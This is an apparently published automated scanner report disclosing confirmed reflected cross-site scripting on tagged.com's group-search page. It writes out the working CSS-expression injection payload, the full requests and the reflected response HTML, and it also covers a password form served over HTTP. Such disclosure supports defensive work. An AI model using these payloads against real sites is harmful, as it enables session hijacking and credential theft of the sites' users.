XSS, Cross Site Scripting in www.tagged.com, CWE-79, CAPEC-86, DORK, GHDB

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.tagged.com/browse.html
SCAN DATE
4/23/2011 7:14:57 AM
REPORT DATE
4/23/2011 7:24:52 AM
SCAN DURATION
00:08:14

Total Requests

9684

Average Speed

19.58 req/sec.
8
identified
6
confirmed
0
critical
4
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
25 %
MEDIUM
13 %
LOW
13 %
INFORMATION
50 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/browse.html Cookie Not Marked As HttpOnly Yes
/crossdomain.xml Crossdomain.xml Identified No
/find_groups.html s GET Cross-site Scripting Yes
s GET Cross-site Scripting Yes
/help.html topic GET Redirect Response BODY Is Too Large Yes
/jscripts/ext/tiny_mce/ Forbidden Resource Yes
/register.html Critical Form Served Over HTTP Yes
/safety.html E-mail Address Disclosure No
Cross-site Scripting

Cross-site Scripting

2 TOTAL
IMPORTANT
CONFIRMED
2
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /find_groups.html

/find_groups.html CONFIRMED

http://www.tagged.com/find_groups.html?s=%22%20stYle=%22x:expre/**/ssion(alert(9))%20&cid=0&xs=3&l=e..

Parameters

Parameter Type Value
s GET " stYle="x:expre/**/ssion(alert(9))
cid GET 0
xs GET 3
l GET en_US
m_from GET 3
m_to GET 3
p GET 1

Request

GET /find_groups.html?s=%22%20stYle=%22x:expre/**/ssion(netsparker(9))%20&cid=0&xs=3&l=en_US&m_from=3&m_to=3&p=1 HTTP/1.1
Referer: http://www.tagged.com/find_groups.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.tagged.com
Cookie: S=25lj8ouf5iti1tp655b8v4sda4
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 23 Apr 2011 12:19:34 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html><html><head id="html_head"> <title>Tagged - Find Groups</title> <noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/S/h2vPeHtXt.css"></link><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/9/-DRrnlyXF.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/M/gEOLE1_oL.js"></script></head><body> <iframe id="yui-history-iframe" src="/blank.html" style="position:absolute; top:0; left:0; width:1px; height:1px; visibility:hidden;"></iframe> <input id="yui-history-field" type="hidden"> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/H/SeREu7XWG.css"></link><div id="navheader" class="navheader"> <div id="navheader_top" class="navheader_top"> <div class="top_bar_roundtop"></div> <div class="top_bar_content"> <div class="left_block"> <h1 class="heading_top">Join Tagged now - it's free! </h1> <p> Tagged is a great place to socialize with friends and meet new people. </p> <p> Make your own profile, share photos, chat, flirt, play games, and have fun! </p> <div class="actions_bottom"> <form action="http://www.tagged.com/register.html" method="get"> <input type="submit" class="green_btn_big" value="Join Tagged >"/> </form> <ul class="connect_container"> <li><a href="#" service_name="facebook" container="tb" class="facebook_connect connect"> <span class="icon_left fb_left"></span> <span class="connect_gradient fb_gradient"><span class="fb_icon"></span></span> <span class="icon_left fb_left icon_border"></span> <span class="connect_gradient fb_gradient"> Connect <span>with</span> Facebook </span> <span class="icon_right fb_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="myspace" container="tb" class="myspace_connect connect"> <span class="icon_left ms_left"></span> <span class="connect_gradient ms_gradient"> <span class="ms_icon "></span> Login with MySpaceID </span> <span class="icon_right ms_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="twitter" container="tb" class="twitter_connect connect"> <span class="icon_left tw_left"></span> <span class="connect_gradient tw_gradient"><span class="tw_icon"></span></span> <span class="icon_left tw_left icon_border"></span> <span class="connect_gradient tw_gradient"> Sign in with Twitter </span> <span class="icon_right tw_right"></span> <div class="clear_both"></div></a></li> </ul> <div class="clear_both"></div> </div> </div> <div class="right_block"> <img alt="Tagged" src="http://x.tagstat.com/im/headers/default/tagged_logo_black_blue_bk.gif" /> <p class="align_center"><a href="http://www.tagged.com/register.html?display=login">Sign in to Tagged</a></p> </div> <div class="clear_both"></div> </div> <div class="top_bar_roundbottom"></div> </div></div> <div id="topad" class="below_header_ad defer"><script type="text/javascript">tagged.ads.register('ad_unit_0', 'http://c5.zedo.com/jsc/c5/ff2.html?n=496;c=121;s=1;d=14;w=728;h=90;p=;q=find_groups');</script><div id="ad_unit_0_div" class="ad_728_90"><iframe name="ad_unit_0" id="ad_unit_0" src="" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" allowTransparency="true" width="728" height="90"></iframe></div></div> <div id="inner_container"> <div id="profile_banner">&nbsp;</div> <div id="page_content"> <div id="top_notification_feedback"></div> <iframe src="/upgrade_ie6.html" class="hide_me" width="100%" height="0" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" id="ie6bar"></iframe> <div id="groups" class="main_content"> <h1>Groups</h1> <ul class="yui-nav"> <li class="selected"><a href="http://www.tagged.com/find_groups.html" title="">Find Groups</a></li> </ul> <div id="find_groups"> <div class="column1"> <form name="search" id="search" action="/find_groups.html" method="get"> <p> <label for="language">Language</label> <div id="lang_wrapper"></div> </p> <label>Members</label> <select name="m_from" class="members"> <option value="">1</option> <option value="10">10</option> <option value="50">50</option> <option value="100">100</option> <option value="250">250</option> <option value="500">500</option> <option value="1000">1000</option> <option value="-1">Any</option> </select> <span>to</span> <select name="m_to" class="members"> <option value="">Any</option> <option value="1">1</option> <option value="10">10</option> <option value="50">50</option> <option value="100">100</option> <option value="250">250</option> <option value="500">500</option> <option value="1000">1000</option> </select> <label for="xs">Access</label> <select name="xs"> <option value="">Public & Private</option> <option value="p">Just Public</option> <option value="v">Just Private</option> </select> <label for="s" class="hide_me">Search</label> <input type="text" name="s" class="text hide_me" value="" stYle="x:expre/**/ssion(netsparker(9)) "/> <p class="align_right"><a href="#" id="clearLink" class="hide_me">clear</a></p> <input type="submit" name="submit" alttext="Updating..." defaulttext="Update" value="Update" class="grey_btn"/> <input type="hidden" name="cid" value="0"/> </form> <script type="text/javascript">tagged.ads.register('ad_unit_1', 'http://c5.zedo.com/jsc/c5/ff2.html?n=496;c=121;s=1;d=7;w=160;h=600;p=;q=find_groups');</script><div id="ad_unit_1_div" class="ad_160_600"><iframe name="ad_unit_1" id="ad_unit_1" src="" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" allowTransparency="true" width="160" height="600"></iframe></div> </div> <div class="column2" id="results_panel"> <p id="cat_crumbs"> <a href="/find_groups.html" class="category" rel="0">All</a> <span id="cat_crumbs_more"> </span> </p> <div id="search_cats"> <ul> <li><a href="/find_groups.html?cid=1" rel="1" class="category">Animals and Pets</a></li><li><a href="/find_groups.html?cid=2" rel="2" class="category">Games</a></li><li><a href="/find_groups.html?cid=3" rel="3" class="category">Interests and Hobbies</a></li></ul><ul><li><a href="/find_groups.html?cid=4" rel="4" class="category">Romance and Relationships</a></li><li><a href="/find_groups.html?cid=5" rel="5" class="category">Music</a></li><li><a href="/find_groups.html?cid=6" rel="6" class="category">Sports</a></li></ul><ul><li><a href="/find_groups.html?cid=7" rel="7" class="category">Movies and TV</a></li><li><a href="/find_groups.html?cid=8" rel="8" class="category">Culture and Community</a></li><li><a href="/find_groups.html?cid=9" rel="9" class="category">Personal Groups</a></li></ul><ul> </ul> </div> <div id="search_results"><div class="grid"> <div class="grid_header"> <div class="num_items" id="find_num_items_top"> </div> <div class="empty"></div> </div> <p class="no_items">No Groups found.</p> <div class="grid_footer"> <div class="num_items" id="find_num_items_btm"> </div> <div class="clear_both"></div> </div> <div id="find_disable" class="disable hide_me"><img src="http://x.tagstat.com/im/loading/bar_grey_220_19.gif"/></div> </div></div> </div> <div class="clear_both"></div> </div> <script type="text/javascript"> tagged.loadData( {"thumbSize":"m","cId":0,"pageSize":10,"pageNum":1,"keyword":"\" stYle=\"x:expre\/**\/ssion(netsparker(9)) ","language":"en-US","access":"3","m_from":3,"m_to":3,"userLang":"en_US","pageId":"find","categories":[{"category_id":1,"category_name":"Animals and Pets","parent_category_id":0},{"category_id":2,"category_name":"Games","parent_category_id":0},{"category_id":3,"category_name":"Interests and Hobbies","parent_category_id":0},{"category_id":4,"category_name":"Romance and Relationships","parent_category_id":0},{"category_id":5,"category_name":"Music","parent_category_id":0},{"category_id":6,"category_name":"Sports","parent_category_id":0},{"category_id":7,"category_name":"Movies and TV","parent_category_id":0},{"category_id":8,"category_name":"Culture and Community","parent_category_id":0},{"category_id":9,"category_name":"Personal Groups","parent_category_id":0},{"category_id":100,"category_name":"Birds","parent_category_id":1},{"category_id":101,"category_name":"Cats","parent_category_id":1},{"category_id":102,"category_name":"Dogs General","parent_category_id":1},{"category_id":103,"category_name":"Dog Breeds","parent_category_id":1},{"category_id":104,"category_name":"Ferrets","parent_category_id":1},{"category_id":105,"category_name":"Marine Life","parent_category_id":1},{"category_id":106,"category_name":"Rabbits","parent_category_id":1},{"category_id":107,"category_name":"Reptiles","parent_category_id":1},{"category_id":108,"category_name":"Rodents","parent_category_id":1},{"category_id":109,"category_name":"Other","parent_category_id":1},{"category_id":1000,"category_name":"Budgies","parent_category_id":100},{"category_id":1001,"category_name":"Canaries","parent_category_id":100},{"category_id":1002,"category_name":"Cockatoos","parent_category_id":100},{"category_id":1003,"category_name":"Ducks and Geese","parent_category_id":100},{"category_id":1004,"category_name":"Macaws","parent_category_id":100},{"category_id":1005,"category_name":"Parrots","parent_category_id":100},{"category_id":1006,"category_name":"Penguins","parent_category_id":100},{"category_id":1007,"category_name":"Pigeons","parent_category_id":100},{"category_id":1008,"category_name":"Raptors","parent_category_id":100},{"category_id":1009,"category_name":"Other","parent_category_id":100},{"category_id":1011,"category_name":"Breeds","parent_category_id":101},{"category_id":1012,"category_name":"By Location","parent_category_id":101},{"category_id":1013,"category_name":"Diet and Health","parent_category_id":101},{"category_id":1014,"category_name":"Grooming","parent_category_id":101},{"category_id":1015,"category_name":"Showing","parent_category_id":101},{"category_id":1016,"category_name":"Training","parent_category_id":101},{"category_id":1017,"category_name":"Other","parent_category_id":101},{"category_id":1019,"category_name":"By Location","parent_category_id":102},{"category_id":1020,"category_name":"Diet and Health","parent_category_id":102},{"category_id":1021,"category_name":"Grooming","parent_category_id":102},{"category_id":1022,"category_name":"Showing","parent_category_id":102},{"category_id":1023,"category_name":"Sports\/Games","parent_category_id":102},{"category_id":1024,"category_name":"Training","parent_category_id":102},{"category_id":1025,"category_name":"Other","parent_category_id":102},{"category_id":1027,"category_name":"Beagle","parent_category_id":103},{"category_id":1028,"category_name":"Boston Terrier","parent_category_id":103},{"category_id":1029,"category_name":"Boxer","parent_category_id":103},{"category_id":1030,"category_name":"Bulldogs","parent_category_id":103},{"category_id":1031,"category_name":"Chihuahua","parent_category_id":103},{"category_id":1032,"category_name":"Cocker Spaniel","parent_category_id":103},{"category_id":1033,"category_name":"Corgis","parent_category_id":103},{"category_id":1034,"category_name":"Dachshund","parent_category_id":103},{"category_id":1035,"category_name":"Doberman Pincher","parent_category_id":103},{"category_id":1036,"category_name":"German Shepherd","parent_category_id":103},{"category_id":1037,"category_name":"Golden Retriever","parent_category_id":103},{"category_i..
- /find_groups.html

/find_groups.html CONFIRMED

http://www.tagged.com/find_groups.html?cid=0&m_from=3&m_to=3&s=%22%20stYle=%22x:expre/**/ssion(alert..

Parameters

Parameter Type Value
cid GET 0
m_from GET 3
m_to GET 3
s GET " stYle="x:expre/**/ssion(alert(9))
submit GET Update
xs GET 3

Request

GET /find_groups.html?cid=0&m_from=3&m_to=3&s=%22%20stYle=%22x:expre/**/ssion(netsparker(9))%20&submit=Update&xs=3 HTTP/1.1
Referer: http://www.tagged.com/find_groups.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.tagged.com
Cookie: S=ke98ge375rm39neuv9tqpjvdh1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 23 Apr 2011 12:21:42 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html><html><head id="html_head"> <title>Tagged - Find Groups</title> <noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/S/h2vPeHtXt.css"></link><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/9/-DRrnlyXF.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/M/gEOLE1_oL.js"></script></head><body> <iframe id="yui-history-iframe" src="/blank.html" style="position:absolute; top:0; left:0; width:1px; height:1px; visibility:hidden;"></iframe> <input id="yui-history-field" type="hidden"> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/H/SeREu7XWG.css"></link><div id="navheader" class="navheader"> <div id="navheader_top" class="navheader_top"> <div class="top_bar_roundtop"></div> <div class="top_bar_content"> <div class="left_block"> <h1 class="heading_top">Join Tagged now - it's free! </h1> <p> Tagged is a great place to socialize with friends and meet new people. </p> <p> Make your own profile, share photos, chat, flirt, play games, and have fun! </p> <div class="actions_bottom"> <form action="http://www.tagged.com/register.html" method="get"> <input type="submit" class="green_btn_big" value="Join Tagged >"/> </form> <ul class="connect_container"> <li><a href="#" service_name="facebook" container="tb" class="facebook_connect connect"> <span class="icon_left fb_left"></span> <span class="connect_gradient fb_gradient"><span class="fb_icon"></span></span> <span class="icon_left fb_left icon_border"></span> <span class="connect_gradient fb_gradient"> Connect <span>with</span> Facebook </span> <span class="icon_right fb_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="myspace" container="tb" class="myspace_connect connect"> <span class="icon_left ms_left"></span> <span class="connect_gradient ms_gradient"> <span class="ms_icon "></span> Login with MySpaceID </span> <span class="icon_right ms_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="twitter" container="tb" class="twitter_connect connect"> <span class="icon_left tw_left"></span> <span class="connect_gradient tw_gradient"><span class="tw_icon"></span></span> <span class="icon_left tw_left icon_border"></span> <span class="connect_gradient tw_gradient"> Sign in with Twitter </span> <span class="icon_right tw_right"></span> <div class="clear_both"></div></a></li> </ul> <div class="clear_both"></div> </div> </div> <div class="right_block"> <img alt="Tagged" src="http://x.tagstat.com/im/headers/default/tagged_logo_black_blue_bk.gif" /> <p class="align_center"><a href="http://www.tagged.com/register.html?display=login">Sign in to Tagged</a></p> </div> <div class="clear_both"></div> </div> <div class="top_bar_roundbottom"></div> </div></div> <div id="topad" class="below_header_ad defer"><script type="text/javascript">tagged.ads.register('ad_unit_0', 'http://c5.zedo.com/jsc/c5/ff2.html?n=496;c=121;s=1;d=14;w=728;h=90;p=;q=find_groups');</script><div id="ad_unit_0_div" class="ad_728_90"><iframe name="ad_unit_0" id="ad_unit_0" src="" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" allowTransparency="true" width="728" height="90"></iframe></div></div> <div id="inner_container"> <div id="profile_banner">&nbsp;</div> <div id="page_content"> <div id="top_notification_feedback"></div> <iframe src="/upgrade_ie6.html" class="hide_me" width="100%" height="0" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" id="ie6bar"></iframe> <div id="groups" class="main_content"> <h1>Groups</h1> <ul class="yui-nav"> <li class="selected"><a href="http://www.tagged.com/find_groups.html" title="">Find Groups</a></li> </ul> <div id="find_groups"> <div class="column1"> <form name="search" id="search" action="/find_groups.html" method="get"> <p> <label for="language">Language</label> <div id="lang_wrapper"></div> </p> <label>Members</label> <select name="m_from" class="members"> <option value="">1</option> <option value="10">10</option> <option value="50">50</option> <option value="100">100</option> <option value="250">250</option> <option value="500">500</option> <option value="1000">1000</option> <option value="-1">Any</option> </select> <span>to</span> <select name="m_to" class="members"> <option value="">Any</option> <option value="1">1</option> <option value="10">10</option> <option value="50">50</option> <option value="100">100</option> <option value="250">250</option> <option value="500">500</option> <option value="1000">1000</option> </select> <label for="xs">Access</label> <select name="xs"> <option value="">Public & Private</option> <option value="p">Just Public</option> <option value="v">Just Private</option> </select> <label for="s" class="hide_me">Search</label> <input type="text" name="s" class="text hide_me" value="" stYle="x:expre/**/ssion(netsparker(9)) "/> <p class="align_right"><a href="#" id="clearLink" class="hide_me">clear</a></p> <input type="submit" name="submit" alttext="Updating..." defaulttext="Update" value="Update" class="grey_btn"/> <input type="hidden" name="cid" value="0"/> </form> <script type="text/javascript">tagged.ads.register('ad_unit_1', 'http://c5.zedo.com/jsc/c5/ff2.html?n=496;c=121;s=1;d=7;w=160;h=600;p=;q=find_groups');</script><div id="ad_unit_1_div" class="ad_160_600"><iframe name="ad_unit_1" id="ad_unit_1" src="" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" allowTransparency="true" width="160" height="600"></iframe></div> </div> <div class="column2" id="results_panel"> <p id="cat_crumbs"> <a href="/find_groups.html" class="category" rel="0">All</a> <span id="cat_crumbs_more"> </span> </p> <div id="search_cats"> <ul> <li><a href="/find_groups.html?cid=1" rel="1" class="category">Animals and Pets</a></li><li><a href="/find_groups.html?cid=2" rel="2" class="category">Games</a></li><li><a href="/find_groups.html?cid=3" rel="3" class="category">Interests and Hobbies</a></li></ul><ul><li><a href="/find_groups.html?cid=4" rel="4" class="category">Romance and Relationships</a></li><li><a href="/find_groups.html?cid=5" rel="5" class="category">Music</a></li><li><a href="/find_groups.html?cid=6" rel="6" class="category">Sports</a></li></ul><ul><li><a href="/find_groups.html?cid=7" rel="7" class="category">Movies and TV</a></li><li><a href="/find_groups.html?cid=8" rel="8" class="category">Culture and Community</a></li><li><a href="/find_groups.html?cid=9" rel="9" class="category">Personal Groups</a></li></ul><ul> </ul> </div> <div id="search_results"><div class="grid"> <div class="grid_header"> <div class="num_items" id="find_num_items_top"> </div> <div class="empty"></div> </div> <p class="no_items">No Groups found.</p> <div class="grid_footer"> <div class="num_items" id="find_num_items_btm"> </div> <div class="clear_both"></div> </div> <div id="find_disable" class="disable hide_me"><img src="http://x.tagstat.com/im/loading/bar_grey_220_19.gif"/></div> </div></div> </div> <div class="clear_both"></div> </div> <script type="text/javascript"> tagged.loadData( {"thumbSize":"m","cId":0,"pageSize":10,"pageNum":"1","keyword":"\" stYle=\"x:expre\/**\/ssion(netsparker(9)) ","language":"en-US","access":"3","m_from":3,"m_to":3,"userLang":"en_US","pageId":"find","categories":[{"category_id":1,"category_name":"Animals and Pets","parent_category_id":0},{"category_id":2,"category_name":"Games","parent_category_id":0},{"category_id":3,"category_name":"Interests and Hobbies","parent_category_id":0},{"category_id":4,"category_name":"Romance and Relationships","parent_category_id":0},{"category_id":5,"category_name":"Music","parent_category_id":0},{"category_id":6,"category_name":"Sports","parent_category_id":0},{"category_id":7,"category_name":"Movies and TV","parent_category_id":0},{"category_id":8,"category_name":"Culture and Community","parent_category_id":0},{"category_id":9,"category_name":"Personal Groups","parent_category_id":0},{"category_id":100,"category_name":"Birds","parent_category_id":1},{"category_id":101,"category_name":"Cats","parent_category_id":1},{"category_id":102,"category_name":"Dogs General","parent_category_id":1},{"category_id":103,"category_name":"Dog Breeds","parent_category_id":1},{"category_id":104,"category_name":"Ferrets","parent_category_id":1},{"category_id":105,"category_name":"Marine Life","parent_category_id":1},{"category_id":106,"category_name":"Rabbits","parent_category_id":1},{"category_id":107,"category_name":"Reptiles","parent_category_id":1},{"category_id":108,"category_name":"Rodents","parent_category_id":1},{"category_id":109,"category_name":"Other","parent_category_id":1},{"category_id":1000,"category_name":"Budgies","parent_category_id":100},{"category_id":1001,"category_name":"Canaries","parent_category_id":100},{"category_id":1002,"category_name":"Cockatoos","parent_category_id":100},{"category_id":1003,"category_name":"Ducks and Geese","parent_category_id":100},{"category_id":1004,"category_name":"Macaws","parent_category_id":100},{"category_id":1005,"category_name":"Parrots","parent_category_id":100},{"category_id":1006,"category_name":"Penguins","parent_category_id":100},{"category_id":1007,"category_name":"Pigeons","parent_category_id":100},{"category_id":1008,"category_name":"Raptors","parent_category_id":100},{"category_id":1009,"category_name":"Other","parent_category_id":100},{"category_id":1011,"category_name":"Breeds","parent_category_id":101},{"category_id":1012,"category_name":"By Location","parent_category_id":101},{"category_id":1013,"category_name":"Diet and Health","parent_category_id":101},{"category_id":1014,"category_name":"Grooming","parent_category_id":101},{"category_id":1015,"category_name":"Showing","parent_category_id":101},{"category_id":1016,"category_name":"Training","parent_category_id":101},{"category_id":1017,"category_name":"Other","parent_category_id":101},{"category_id":1019,"category_name":"By Location","parent_category_id":102},{"category_id":1020,"category_name":"Diet and Health","parent_category_id":102},{"category_id":1021,"category_name":"Grooming","parent_category_id":102},{"category_id":1022,"category_name":"Showing","parent_category_id":102},{"category_id":1023,"category_name":"Sports\/Games","parent_category_id":102},{"category_id":1024,"category_name":"Training","parent_category_id":102},{"category_id":1025,"category_name":"Other","parent_category_id":102},{"category_id":1027,"category_name":"Beagle","parent_category_id":103},{"category_id":1028,"category_name":"Boston Terrier","parent_category_id":103},{"category_id":1029,"category_name":"Boxer","parent_category_id":103},{"category_id":1030,"category_name":"Bulldogs","parent_category_id":103},{"category_id":1031,"category_name":"Chihuahua","parent_category_id":103},{"category_id":1032,"category_name":"Cocker Spaniel","parent_category_id":103},{"category_id":1033,"category_name":"Corgis","parent_category_id":103},{"category_id":1034,"category_name":"Dachshund","parent_category_id":103},{"category_id":1035,"category_name":"Doberman Pincher","parent_category_id":103},{"category_id":1036,"category_name":"German Shepherd","parent_category_id":103},{"category_id":1037,"category_name":"Golden Retriever","parent_category_id":103},{&quo..
Critical Form Served Over HTTP

Critical Form Served Over HTTP

1 TOTAL
MEDIUM
CONFIRMED
1
Netsparker identified that a password field is served over HTTP.

Impact

If an attacker can carry out a MITM (Man in the middle) attack, he/she may be able to intercept traffic by injecting JavaScript code into this page or changing action of the HTTP code to steal the users password. Even though the target page is HTTPS, this does not protect the system against MITM attacks.

This issue is important as it negates the use of SSL as a privacy protection barrier.

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms to HTTPS and do not allow these pages to be served over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /register.html

/register.html CONFIRMED

http://www.tagged.com/register.html

Form target action

https://secure.tagged.com/register.html

Request

GET /register.html HTTP/1.1
Referer: http://www.tagged.com/browse.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.tagged.com
Cookie: S=n91amdfku4gtflmm0q6p9t20b7
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 23 Apr 2011 12:14:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html> <head> <title>Tagged - Register</title><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/u/pay4abHtQ.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/o/OtN0e-x5v.js"></script><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/h/oiIy-SsKW.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/K/Yees49-qr.js"></script> <script type="text/javascript"> tagged.secure_url = "https://secure.tagged.com"; tagged.reg_url = "https://secure.tagged.com/register.html"; </script> </head><body> <iframe id="yui-history-iframe" src="/blank.html"></iframe> <input id="yui-history-field" type="hidden"/> <div class="inner_container "> <img src="http://x.tagstat.com/im/headers/default/logo.png" alt="" class="tagged_logo" width="190px" height="65px" id="tagged_logo" /><div id="reg_header" class="top_header"> <span> Join Free! </span></div><div id="login_header" class="top_header hide_me"> <span> </span></div><div id="wrapper"> <div id="reg_container"> <div id="reg_form" class="reg_width centered_form "> <form name="reg_form" id="reg_form" action="https://secure.tagged.com/register.html" method="post" > <div id="first_page"><p id="firstNameWrapper"> <label for="first_name" id="firstNameLabel">First Name:</label> <input type="text" name="firstName" id="first_name" value="" size="35" maxlength="35" tabindex="1"/> <span class="info hide_me"><span class="icon"></span><span class="feedback"></span></span></p><p id="lastNameWrapper"> <label for="last_name" id="lastNameLabel">Last Name:</label> <input type="text" name="lastName" id="last_name" value="" size="35" maxlength="35" tabindex="2"/> <span class="info hide_me"><span class="icon"></span><span class="feedback"></span></span></p><p id="emailWrapper"> <label for="email_address" id="emailAddressLabel"> Email Address: </label> <input type="text" name="email" value="" id="email" tabindex="3"/> <span class="info hide_me"><span class="icon"></span><span class="feedback"></span></span></p><p id="passwordWrapper"> <label for="password" id="passwordLabel">Password:</label> <input type="password" name="password" value="" id="password" tabindex="4" autocomplete="off"/> <input id ="password_str" type="hidden" name="passwordStr" value="1305360896:_nI99DMySC"></input> <span class="info hide_me"> <span class="icon"></span> <span class="feedback"></span> <span id="password_strength_border"> <span id="password_strength" class="invalid"></span> </span> </span></p><!--show country drop down for international user. This is filled in by regpage.js with the help of countries.js --><p id="countryWrapper" class="hide_me"> <label for="country" id="countryLabel">Country:</label> <span id="country_span" index="5"></span> <span class="info hide_me"><span class="icon"></span><span class="feedback"></span></span></p><!--show city for international user--><div id="cityWrapper" class="hide_me"> <label for="city" id="cityLabel">City:</label> <div id="cities" class="cities" ></div> <input tabindex="6" type="text" name="city" value="" id="city" class="search-fields-text" /> <span class="info hide_me"><span class="icon"></span><span class="feedback"></span></span></div><!--don't show zip code for international user--><p id="zipCodeWrapper" > <label for="address_zipcode" id="zipcodeLabel"> Zip code: </label> <input type="text" name="zipCode" id="zipCode" value="" size="5" maxlength="5" tabindex="7"/> <span class="info hide_me"><span class="icon"></span><span class="feedback"></span></span></p><p id="languageWrapper"> <label for="locale" id="languageLabel"> Language: </label> <select name="locale" id="locale" tabindex="8"> <option value="en_US" selected="selected" >English</option> <option value="az_AZ" >Azərbaycan</option> <option value="ms_MY" >Bahasa Melayu</option> <option value="cs_CZ" >Čeština</option> <option value="es_CO" >Español - América Latina</option> <option value="es_ES" >Español - España</option> <option value="es_MX" >Español - México</option> <option value="el_GR" >Ελληνικά</option> <option value="de_DE" >Deutsch</option> <option value="fr_FR" >Français</option> <option value="id_ID" >Indonesia</option> <option value="it_IT" >Italiano</option> <option value="hu_HU" >Magyar</option> <option value="nl_NL" >Nederlands</option> <option value="pl_PL" >Polska</option> <option value="pt_PT" >Português</option> <option value="ru_RU" >Русский</option> <option value="ro_RO" >Român</option> <option value="tl_PH" >Tagalog</option> <option value="tr_TR" >Türkçe</option> <option value="ur_PK" >Urdu</option> <option value="vi_VN" >Việt</option> <option value="ar_SA" >العربية</option> <option value="bn_IN" >বাংলা</option> <option value="zh_CN" >中文 (简体)</option> <option value="zh_TW" >中文 (繁軆)</option> <option value="hi_IN" >हिन्दी</option> <option value="he_IL" >עברית</option> <option value="ja_JP" >日本語</option> <option value="ko_KR" >한국어</option> <option value="mr_IN" >मराठी</option> <option value="ne_NP" >नेपाली</option> <option value="fa_IR" >فارسی</option> <option value="pa_IN" >ਪੰਜਾਬੀ</option> <option value="ta_IN" >தமிழ்</option> <option value="te_IN" >తెలుగు</option> <option value="th_TH" >ไทย</option> <option value="uk_UA" >Українська</option> </select> <span class="info hide_me"><span class="icon"></span><span class="feedback"></span></span></p><p id="genderWrapper"> <label for="gender" 